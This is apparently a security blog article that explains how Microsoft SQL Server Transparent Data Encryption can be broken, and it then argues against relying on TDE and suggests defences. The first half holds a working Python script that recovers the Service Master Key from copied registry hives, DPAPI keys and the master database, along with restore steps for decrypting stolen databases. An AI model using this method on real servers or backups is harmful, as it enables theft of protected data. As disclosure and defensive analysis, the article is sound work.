The Anatomy and (In)Security of Microsoft SQL Server Transparent Data Encryption (TDE), or How to Break TDE

13 min readSep 18, 2020

This article was originally posted in March 2016, so the tools and techniques may have changed slightly. If you need help applying these techniques to your current situation or need help recovering data from an encrypted SQL database, you can contact me.

There is a fundamental problem with any software that encrypts its own data: it also needs to decrypt the data if it wants to use it itself. For example, if SQL Server wants to write data to an encrypted database and then later return it to a user, it needs the decryption key available to itself to be able to do that. If the system also has to boot without manual intervention and the sensitive functionality can’t be embedded in separate protected hardware, then that key must be stored on the system somewhere so that the server has access to it when it starts up. However if the key is stored on the system it is accessible to anybody that has gained elevated privileges and if the entire system is backed up, the key is also stored on the backups, making all data easily readable.

Accompanying video that demos some additional steps and shows a database being decrypted

“Obviously” the solution is to encrypt the key before storing it on the system, and that is what Microsoft does with TDE. Unfortunately that doesn’t really solve anything because in order to decrypt the encrypted key, you need to store that key instead. All this achieves is deferring the storage of the key with a little smoke and mirrors. Clearly the solution is to encrypt the encrypting key as well… And that is what Microsoft does with TDE. And so it continues. It’s turtles all the way down. Eventually though you have to stop adding layers and store the bottommost key somewhere unencrypted, defeating all of the layers of encryption immediately — and the whole world comes tumbling down, turtles and all.

TDE Encryption

Before we jump into breaking TDE, let’s take a look at how all of the data is encrypted. The diagram below provides an overview of the various decryption steps that are required. If this isn’t the posterchild of security by obscurity, I don’t know what is.

This is actually slightly simplified, since there are multiple paths to the same data in some cases, and there are some subtleties in some of the processes not indicated. The path shown is the one we are most interested in because it is one of the easiest to replicate.

Starting at the bottom, the most fundamental secret is the LSA secret key, which the rest of the layers stand on top of. This is stored on disk in the registry with a minor obfuscation (“substitution cipher”), but it is well known and is unkeyed so it provides no security whatsoever.

Given that LSA key and a few other bits of key material stored in other files, the whole mess falls apart. The blue bubbles indicate the underlying files that contain the various critical pieces of information:

The registry backups or hive files SYSTEM, SECURITY and SOFTWARE from %WINDIR%/System32/Config
The DPAPI master keys from %WINDIR%/System32/Microsoft/Protect/S-1–5–18
The master database and the target user database(s). The databases can be recovered either from a SQL backup file or from raw .mdf files. In the case of .mdf files, it is also useful to have the corresponding .ldf database log files, though it is not essential.

Armed with these pieces of information, all of the encryption keys can be directly recovered with no brute force required.

Breaking TDE

From the perspective of SQL server, the one key that rules them all is the Service Master Key (SMK). It is unique to each server/cluster, and it secures all of the layers above it. It is stored in the master database, which itself is never encrypted in TDE. However it is stored as an encrypted value in a field in the master database, so it still needs to be decrypted.

The general approach to breaking TDE is to copy the databases from the target server (or from backups) and put them on a new “recovery” SQL server that we control. By extracting the stored Service Master Key as well, all of the encrypted databases will be automatically decrypted by SQL server on the recovery server. The data on the recovery server can then be viewed, exported, etc. So it’s not necessary to really understand exactly what SQL Server does with the various database encryption keys beyond the Service Master Key, because we will just use it against itself to decrypt everything for us.

The simple python script below takes the files collected and extracts the Service Master Key. Most of the work involved is in recovering the DPAPI keys, which is handled for us thanks to the excellent work from the creddump and dpapick projects.

#!/usr/bin/env python 
# -*- coding: utf-8 -*- from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 
from DPAPI.Core import masterkey 
from DPAPI.Core import registry 
from optparse import OptionParser 
from Registry import Registry # https://github.com/williballenthin/python-registry 
from bitstring import ConstBitStream import re 
import os 
import sys def search_with_blob(entropy, dpapi_system, mkp, tdeblob): 
  """Try decrypting with each master key""" 
  wblob = blob.DPAPIBlob(tdeblob) 
  mks = mkp.getMasterKeys(wblob.mkguid) 
  for mk in mks: 
    if mk.decrypted: 
      wblob.decrypt(mk.get_key(), entropy) 
      if wblob.decrypted: 
        print("Decrypted service master key: %s" % wblob.cleartext.encode('hex')) 
      else: 
        print("Decryption failed") def search_with_entropy(entropy, dpapi_system, mkp, masterdb): 
  """Search for DPAPI blobs in master database""" 
  masterdb = ConstBitStream(filename = options.masterdb) 
  for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True): 
    blobsegment = masterdb[found:found+512*8]  # Extraneous bytes ignored 
    search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) parser = OptionParser() 
parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') 
parser.add_option("--system", metavar='HIVE', dest='system') 
parser.add_option("--security", metavar='HIVE', dest='security') 
parser.add_option("--software", metavar='HIVE', dest='software') 
parser.add_option("--masterdb", metavar='FILE', dest='masterdb') (options, args) = parser.parse_args() reg = registry.Regedit() 
secrets = reg.get_lsa_secrets(options.security, options.system) 
dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] mkp = masterkey.MasterKeyPool() 
mkp.loadDirectory(options.masterkeydir) 
mkp.addSystemCredential(dpapi_system) 
mkp.try_credential_hash(None, None) with open(options.software, 'rb') as f: 
  reg = Registry.Registry(f) 
  regInstances = reg.open('Microsoft\\Microsoft SQL Server\\Instance Names\\SQL') 
  for v in regInstances.values(): 
    print("Checking SQL instance %s" % v.value()) 
    regInst = reg.open('Microsoft\\Microsoft SQL Server\\%s\\Security' % v.value()) 
    entropy = regInst['Entropy'].value() 
    search_with_entropy(entropy, dpapi_system, mkp, options.masterdb)

Conveniently, the script is cross platform so it doesn’t need to be run on the Windows machine. That means no software installation is required on the target server, just some file exfiltration (or backups can be used).

Once the DPAPI keys have been recovered, this script searches the master database for encrypted Service Master Keys. They are encrypted in a special DPAPI blob structure. The DPAPI structure always includes a provider GUID: df9d8cd0–1501–11d1–8c7a-0c04fc297eb which makes them easy to find. Since the master database is unencrypted we could just use SQL server to extract them, but that would require a bit more coordination and fiddling. Because the GUID is so definitive this quick and dirty approach of searching directly in the master database is used for the proof of concept instead. It also means it works equally well with either SQL backup files or native .mdf files, despite the file formats being different.

Execution just points to the necessary files, and goes something like this:

$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf

The result is simply the unencrypted Service Master Key in all its naked glory:

Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9

SQL Server has a way of backing up and restoring Service Master Keys, using the command

BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to' 
    ENCRYPTION BY PASSWORD = 'some-password'

And likewise, they can be restored onto a new server with the command

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' [FORCE]

With the Service Master Key restored, the other keys in the master database can also be decrypted, and the database accessed. Unfortunately we don’t have a backup file of the Service Master Key from the target machine (actually in many attack scenarios we could just execute the backup command as well, but that doesn’t work for backup restores and some other scenarios).

In our case, where we have a recovered raw key but no backup file, an obvious way to install the SMK would be to encrypt the SMK with DPAPI system credentials on the recovery computer and store in the master database. The dpapick library doesn’t currently support encryption and I was in a hurry so I skipped this method for now, though it probably wouldn’t take much effort.

Instead, I went for a quick and dirty method that creates a SMK backup file but it is a bit manual. So this can undoubtedly be streamlined, but for the proof of concept I used a simple cuckoo’s egg method that is shown in the video as part of an end-to-end recovery demo. This method generates a SMK backup file with the recovered key, which we can restore onto our recovery SQL server.

Armed with the new Service Master Key backup file, the steps to restore a TDE backup (from .bak files) to the recovery server are:

Start SQL server in single user mode (-m startup option)
Restore master database

RESTORE DATABASE MASTER FROM DISK = 'c:\...\master.bak' WITH REPLACE;

Restart SQL service (still in single user mode)
Add administrator user/reset admin password.
Restart service in normal multi-user mode
Restore SMK with the FORCE option

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

Restore the target database(s)
Refresh database list

In the case of restoring from .MDF/.LDF files, the steps are:

Stop SQL service
Copy .mdf/.ldf files, replacing existing master database
Start SQL server in single user mode (-m startup option)
Add administrator user/reset admin password.
Restart service in normal multi-user mode
Restore SMK with the FORCE option

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

Take target database(s) offline
Bring target database(s) online again
Refresh database list

At this point, we have fully recovered and have access to the encrypted databases.

This may seem a little overkill for the case of file extractions, since a user with the necessary privileges can also run arbitrary SQL and just do a backup of the SMK directly through SQL itself. That also works, and illustrates that a privileged user has many ways to defeat TDE. However the technique described here in particular demonstrates that it can also be recovered easily purely from backups.

Encryption of Data at Rest in General

There seems to be a tendency to just assume encryption is a good thing without considering specific attack scenarios, but doing so is essential and also very revealing.

For example, here are some common attack scenarios and details on how well TDE helps with the situation. For comparison purposes, application based encryption protection is described for each attack scenario as well.

We can see that in practice for most real world attack scenarios TDE doesn’t help or provides worse security compared to other approaches that also have less system impact.

Should I Install TDE?

The weakness in TDE is not a bug or a fault of Microsoft; it is a much more fundamental problem, and it is not in any way unique to SQL Server. Any other database has to abide by the same logic. This is the result of people demanding features without understanding what they are asking for. Microsoft know it isn’t secure, and you can see this in some of the language they use in the documentation. It’s about satisfying political pressure not about solving real security issues.

It is the same lack of understanding that perpetuates and pervades management best practices. People want encryption of data at rest, but also want automatic booting and conventional database systems, and don’t want to have to change their applications. The result is always going to be insecure. But they have their boxes to tick on their security checklists.

As well as little to no practical security enhancement TDE gives you:

Reduced performance
Depending on your architecture and use patterns, this typically varies from 2% to 12%
see http://www.databasejournal.com/features/mssql/article.php/3815501/Performance-Testing-SQL-2008146s-Transparent-Data-Encryption.htm
However systems that are write heavy or that have wide data scans over data that are much larger than RAM may see 15% impact or more.
Systems under heavy load may also degrade non-linearly.
Uncompressible backups
Since encryption occurs before backup compression, and encrypted data cannot be compressed, backups will be significantly larger. This has direct cost implications. Conventional backup systems compress before encrypting and avoid this problem.
A false sense of security
There are many situations in which TDE becomes effectively null and void. Unless great care is taken to avoid these the false sense of security is likely to lead unwary users to expose sensitive information that would have otherwise been protected with other more straightforward security methodologies.

TDE offers little to no practical benefit. Given the significant downsides, for most situations it is not even practically useful as one component in a multi-pronged security approach.

On the flip side of the coin, there are common arguments for using TDE:

“It’s better than nothing”. No, it really isn’t… At least nothing wouldn’t make your system run slower and cost more to run. Other conventional security practices address the same threats more effectively and without the impact.
“It’s one more layer”. It’s a layer that does nothing beneficial, but has unequivocal downsides. There is no rational basis for adding components to a system that reduce performance and increase costs for no benefit.
“Encryption of data at rest is current best practice and required for security compliance in many industries like PCI”. This is politics more than reasoning. Also, TDE is not the only method of encrypting data at rest. Some other methods suffer fewer problems, as we saw earlier.
“You’re assuming an attacker has administrative access, which is an unreasonable assumption. We want to protect against lesser privileged attacks.” Lesser privileged users shouldn’t be able to get your database files anyway. It’s always true that if an attacker has admin access, all bets are off. There are a lot of other terrible things they could do too. An admin user can always directly access SQL server, bypassing TDE encryption entirely. We’re really just showing that file access is sufficient, not that there aren’t also other weaknesses in this case. For any sensibly configured SQL server, no Windows users other than SQL user and local Administrator(s) should even exist. File permissions should also be such that no other users can read SQL data files, even if accidentally granted access to the server. SQL data files are also usually not readable to normal users because they are locked while in use. The only users that could realistically read the database files off a live server will be privileged users and they will be able to read all the other files too. But also importantly, we’re also considering the situation where backups, hard drives or servers are stolen, or some other access to the storage is obtained for unspecified reasons.

So, should I install TDE? Probably “No”. Only if you’re forced to. If arguing will lose your job; probably “Yes”.

Making the most of a bad situation (using TDE anyway)

If political pressure is such that you have to install TDE despite it’s shortcomings:

Ensure database backups are physically isolated from system backups
or preferably
Encrypt your backups separately, using alternative backup software encryption facilities (they don’t suffer the same problems as TDE). This somewhat defeats one of the purposes of TDE of course but at least avoids exposing yourself.
Use hardware support to alleviate performance penalties or for key storage (see below), but this significantly increases costs even more and doesn’t help with security.
Be aware of the situations it doesn’t help, and implement other strategies to deal with them. They will effectively make TDE redundant, but at least you ticked your boxes.

Hardware Support

Inexplicably, SQL Server doesn’t seem to support Intel AES-NI acceleration for AES which would greatly reduce the performance impact.

There are vendors such as Thales, Townsend and SafeNet that provide hardware security modules (HSMs) that are compatible with SQL Server. The claimed benefits are hardware accelerated encryption and key protection.

Hardware acceleration is great if you’re forced to use TDE for some reason. It should reduce the performance impact significantly.

The security is questionable. I tried to get some information but had no luck getting responses. But there is a fundamental issue with hardware modules that integrate at the application level (as opposed to deep OS integration).

The concept is that the HSM stores the encryption keys onboard and takes care of all encryption out of main memory and off-CPU. Without an audit, which seems not to have been done, there is no way to know how difficult it is for an attacker to recover keys from the devices. But more importantly, there is nothing stopping an attacker from asking the device to do the decryption for them. An attacker can send a perfectly valid request to the HSM asking it to decrypt a database block and end up decrypting the entire database.

You might say that the HSM should only accept requests from SQL server. It’s not clear they attempt do that at all, but in any case, in order to do that, SQL server would need to authenticate itself to the HSM. At some point that involves a key, which it also needs to store somewhere, and we have the turtle problem all over.

One benefit of an HSM is that it prevents SQL server storing keys on your hard drives at all. This means the keys aren’t stored in your backups. In practice though, this is of no real benefit since conventional backup encryption solves the same problem without any hardware or costs (and keeps backup size down, as mentioned earlier).

So HSM is a sensible choice for acceleration in the case you are forced to use TDE, but don’t kid yourself into thinking it helps with security.

If not TDE, then what?

Application (column level) based encryption of data at rest is an alternative to TDE. It avoids some of the pitfalls, but requires support from application developers and may be expensive to retrofit to existing systems.

Great care should be taken with access to servers and with file permissions. An unprivileged user should be entirely prevented from accessing database files. A privileged user will be able to decrypt and read encrypted data in all cases, so don’t dwell over it too much. The only thing you can practically do is keep the files away from unprivileged users, and try to prevent users from escalating by following other good security practices. Adding TDE on top of that won’t help a bean since an unprivileged user can’t get the data and a privileged user can read it despite TDE.

Backups should be encrypted with an independent encryption system integrated into the backup system.

Your permissions and other access controls should be audited automatically and frequently so that if an accidental change is made it can be fixed before it is exploited.